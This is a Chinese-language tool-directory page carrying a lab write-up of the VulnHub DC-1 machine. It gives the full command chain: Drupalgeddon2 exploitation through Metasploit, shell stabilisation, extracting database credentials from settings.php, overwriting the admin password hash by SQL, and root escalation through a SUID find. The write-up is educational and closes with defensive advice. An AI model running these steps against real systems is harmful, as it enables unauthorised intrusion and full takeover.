Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
VulnHub-DC1-Writeup — VulnHub DC-1 boot-to-root — 利用 CVE-2018-7600 (Drupalgeddon2) 实现 RCE,从 settings.php 提取数据库凭据,伪造管理员密码哈希,并通过 SUID find 提权至 root。 | Kitploit
工具/GitHubGitHub/prapul1/vulnhub-dc1-writeup
权限提升侦察漏洞利用框架端口扫描漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用CTF渗透测试错误配置学习与教育
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
prapul1/vulnhub-dc1-writeup

VulnHub-DC1-Writeup

VulnHub DC-1 boot-to-root — 利用 CVE-2018-7600 (Drupalgeddon2) 实现 RCE,从 settings.php 提取数据库凭据,伪造管理员密码哈希,并通过 SUID find 提权至 root。

查看仓库

VulnHub-DC1-Writeup

"渗透测试实验室报告,记录了从侦察到 root 的完整攻击链。"

🔓 VulnHub — DC-1 Boot-to-Root 靶机 Writeup

难度: 初级–中级
平台: VulnHub
目标: 获取全部 4 个 flag 并实现完整的 root 级攻陷
攻击机系统: Kali Linux(VirtualBox — NAT 网络)
目标机系统: Debian Linux(Drupal 7 CMS)


📌 目录

  1. 实验环境搭建
  2. 侦察与信息收集
  3. 漏洞利用 — 远程代码执行
  4. 后渗透 — Shell 稳定化
  5. Flag 1 — Web 服务器枚举
  6. Flag 2 — 数据库凭据提取
  7. Flag 3 — 通过哈希篡改访问管理面板
  8. Flag 4 与 Root — SUID 权限提升
  9. 技能与工具总结
  10. 关键要点

🛠 实验环境搭建

组件详情
虚拟机软件VirtualBox
网络模式NAT 网络(两台虚拟机处于同一子网)
攻击机Kali Linux
目标机DC-1 (VulnHub)
目标 IP10.0.2.3(通过 arp-scan 发现)

两台虚拟机均在 VirtualBox 中配置于同一个 NAT 网络 下,以便在保持实验室环境隔离的同时实现虚拟机之间的通信。


🔍 侦察与信息收集

主机发现

使用 arp-scan 识别本地子网上的所有活跃主机:

root@kitploit:~
sudo arp-scan -l

结果: 在 10.0.2.3 处识别到目标主机

服务与端口扫描

运行了带版本检测和默认脚本的完整 Nmap 扫描:

root@kitploit:~
sudo nmap -sV -sC 10.0.2.3

主要发现:

端口服务版本
22/tcpSSHOpenSSH 6.0p1
80/tcpHTTPApache 2.2.22
111/tcprpcbind—

🔑 关键点: Nmap 通过 HTTP generator 响应头明确识别出该 Web 应用为 Drupal 7 — 确认这是一个已知存在漏洞的 CMS 版本。


💥 漏洞利用 — 远程代码执行

漏洞:Drupalgeddon2(CVE-2018-7600)

Drupal 7 的 Form API 中存在一个严重的**远程代码执行(RCE)**漏洞。未经身份验证的攻击者可以发送精心构造的 HTTP 请求,后端会将其作为系统命令执行 — 完全无需任何身份验证。

启动 Metasploit Framework:

root@kitploit:~
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

结果: 成功以 www-data(Web 服务器进程用户)身份打开 Meterpreter 反向 Shell。


🐚 后渗透 — Shell 稳定化

从 Meterpreter 切换到原生 Linux Shell,并使用 Python PTY 对其进行稳定化:

root@kitploit:~
shell
python -c 'import pty; pty.spawn("/bin/bash")'

结果: 在 /var/www 目录下获得 www-data@DC-1 的完全交互式 bash Shell。


🚩 Flag 1 — Web 服务器枚举

root@kitploit:~
ls -la /var/www
cat flag1.txt

Flag 1 内容:

root@kitploit:~
Every good CMS needs a config file - and so do you.

💡 提示: 直接指向 Drupal 配置文件 — settings.php


🚩 Flag 2 — 数据库凭据提取

进入 Drupal 配置目录并查看 settings 文件:

root@kitploit:~
cd /var/www/sites/default
cat settings.php

在 $databases 数组中发现了内嵌的凭据:

字段值
数据库drupaldb
用户名dbuser
密码R0ck3t

Flag 2 内容(来自文件注释):

root@kitploit:~
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?

💡 提示: 使用这些凭据访问 MySQL 后端 — 无需进行任何暴力破解。


🚩 Flag 3 — 通过哈希篡改访问管理面板

第 1 步:数据库枚举

root@kitploit:~
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

发现了 admin 和 fred 的哈希密码 — 两者均采用 Drupal 的 $S$ 哈希方案(基于 SHA-512)。

第 2 步:伪造自定义密码哈希

没有尝试破解现有哈希,而是使用 Drupal 自带的 PHP 脚本生成一个新哈希:

root@kitploit:~
cd /var/www
php scripts/password-hash.sh password123

输出: 一个针对 password123 的有效 $S$D... 哈希

第 3 步:通过 SQL 覆盖管理员密码

root@kitploit:~
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

成功以 admin / password123 登录 http://10.0.2.3。

Flag 3 内容(发现于 Drupal 管理员内容面板):

root@kitploit:~
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.

💡 提示: find 命令存在 SUID 二进制配置错误 — 已识别出权限提升路径。


🚩 Flag 4 与 Root — SUID 权限提升

第 1 步:枚举系统用户

root@kitploit:~
cat /etc/passwd

找到用户 flag4,其主目录位于 /home/flag4。

root@kitploit:~
cat /home/flag4/flag4.txt

Flag 4 内容:

root@kitploit:~
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

第 2 步:通过 find 进行 SUID 利用

find 二进制文件设置了 SUID 位,这意味着无论谁运行它,它都会以文件所有者(root)的权限执行。

root@kitploit:~
find . -exec /bin/sh \;
whoami
# root

第 3 步:获取 Root Flag

root@kitploit:~
cd /root
cat thefinalflag.txt
root@kitploit:~
Well done!!! Hope you enjoyed DC-1!

已实现完整的 root 攻陷。✅


🛠 技能与工具总结

使用的工具

展示的技能

  • ✅ 网络侦察与主机发现
  • ✅ 服务指纹识别与 CMS 识别
  • ✅ CVE 研究与公开漏洞利用
  • ✅ Metasploit Framework — 载荷部署
  • ✅ 后渗透与横向移动
  • ✅ 数据库枚举与凭据提取
  • ✅ 密码哈希伪造与通过 CLI 进行 SQL 注入
  • ✅ Linux SUID 二进制审计
  • ✅ 权限提升至 root

📚 关键要点

从攻击方视角来看:

  • 未打补丁的 CMS 平台(哪怕只落后 1–2 个大版本)借助公开 CVE 和 Metasploit 模块即可被轻易利用。
  • 像 settings.php 这样的配置文件经常包含明文凭据,使攻击者能够从 Web 访问直接转向对数据库的完全控制。
  • find、vim 或 python 等常见二进制文件上的 SUID 配置错误,是 Linux 环境中最可靠的权限提升途径之一。

从防御方视角来看:

  • 务必及时修补 CMS 平台 — Drupalgeddon2 早有补丁可用;问题的根源在于补丁应用不及时。
  • 机密信息(数据库凭据)绝不应以明文形式存放入 Web 可访问的配置文件中,而应进行加密或通过环境变量抽象。
  • 定期审计 SUID 二进制文件:find / -perm -4000 -type f 2>/dev/null 应纳入任何 Linux 加固检查清单。

⚠️ 免责声明

本文档仅供教育目的使用,记录的是在隔离、合法的实验环境中执行的操作。切勿对你不拥有或未经明确书面授权测试的系统尝试这些技术。


作者:Prapul | TryHackMe 个人主页 | GitHub

下载工具
工具用途
arp-scan本地子网主机发现
nmap端口扫描与服务指纹识别
Metasploit FrameworkCVE-2018-7600 漏洞利用投递与反向 Shell
MySQL CLI数据库枚举与凭据篡改
PHP (password-hash.sh)生成 Drupal 原生哈希
Python PTYShell 稳定化
VirtualBox搭建隔离实验环境